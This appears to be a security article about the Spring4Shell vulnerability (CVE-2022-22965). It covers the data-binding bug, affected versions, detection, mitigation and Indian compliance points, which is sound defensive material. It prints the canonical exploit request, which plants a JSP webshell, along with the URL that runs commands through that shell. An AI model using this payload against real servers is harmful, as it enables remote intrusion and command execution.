Spring4Shell (CVE-2022-22965): Why It’s Still Hitting Java in 2026

Last updated: April 26, 2026

Spring4Shell (CVE-2022-22965) was disclosed in March 2022 — a remote code execution vulnerability in Spring Framework’s data-binding mechanism. Often confused with Log4Shell but mechanically distinct. In 2026, we still find vulnerable Spring deployments on Indian enterprise audits, particularly in legacy enterprise Java applications. This article covers the bug, the modern exploit chain, detection, and the inventory discipline that closes the long tail.

The vulnerability

Spring’s data binding maps HTTP request parameters to Java objects. The bug allowed parameter names to traverse object properties via getter chains, eventually reaching the Class object itself, then through protectionDomain and codeSource to write arbitrary files on disk. The classic payload writes a JSP webshell to the application’s webapp directory:

POST /vulnerable HTTP/1.1
Content-Type: application/x-www-form-urlencoded

class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()...
&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

This writes tomcatwar.jsp to webapps/ROOT/, then accessing /tomcatwar.jsp?pwd=j&cmd=whoami executes commands as the application user.

Affected versions

• Spring Framework 5.3.0 to 5.3.17
• Spring Framework 5.2.0 to 5.2.19
• Older unsupported versions

Conditions: JDK 9+, application packaged as a WAR, deployed on Tomcat. JDK 8 and Spring Boot fat-JAR deployments are not affected by the original exploit chain (but other variants targeting JDK 9+ Spring environments exist).

Why it persists

• Spring is in tens of thousands of enterprise applications. Most are not internet-facing, so “the WAF will catch it” thinking dominated patching prioritisation.
• Internal applications are often not patched on the same SLA as external.
• Spring Boot fat-JAR deployments were not affected by the original chain, leading some teams to assume immunity even when they had Spring MVC WAR deployments elsewhere.
• Vendor products (legacy ERPs, document management, BI tools) ship Spring inside; vendors slow to patch.

Detection — what works

• Application-server logs — Tomcat access logs with parameter names containing class.module.classLoader or class.protectionDomain.
• WAF rules — managed rule sets from AWS WAF, Cloudflare, ModSecurity all updated to catch the specific payload patterns. Bypass possible via encoding.
• File-creation events — Sysmon (or auditd on Linux) for .jsp file creation in webapp directories not part of normal deployment.
• Outbound network — exploitation often follows with outbound shell connection; egress filtering catches.

Mitigation

• Upgrade to Spring Framework 5.3.18+ or 5.2.20+ (or current version 6.x).
• If immediate upgrade isn’t possible, the workaround is to add a ControllerAdvice that filters out class as a binding parameter.
• Egress filtering blocks exploit follow-on activity.
• SBOM scanning catches Spring Framework versions across the fleet.

Beyond Spring4Shell — the Java RCE pattern class

• CVE-2022-22963 (Spring Cloud Function) — pre-cursor disclosure that confused early reporting.
• CVE-2024-22243 / 22262 / 22259 (Spring Framework) — open-redirect / SSRF variants in 2024.
• Apache Struts CVEs — different framework, same OGNL-injection class.
• Various Jackson deserialisation CVEs — JSON-side equivalents.

Subscribe to Spring Security Advisories and Apache vendor lists.

How to find your next exposure

• SBOM generation in CI; flag Spring Framework versions below 5.3.18 / 5.2.20.
• Filesystem scans of application servers for vulnerable Spring JARs.
• Test exploitation against staging with the canonical payload; if it works, production might too.

Compliance angle

• SEBI CSCRF — SBOM for material applications now expected.
• DPDP §8(5) — known-vulnerable Spring in production processing personal data fails reasonable security.
• RBI — vulnerability management with documented patching cadence.

The takeaway

Spring4Shell, like Log4Shell, is a dependency-supply-chain story. The library has been patched; finding every place it lives and updating it is the real work. Inventory discipline and SBOM-driven CI catch the long tail. Treat dependency hygiene as ongoing operations, not one-time response.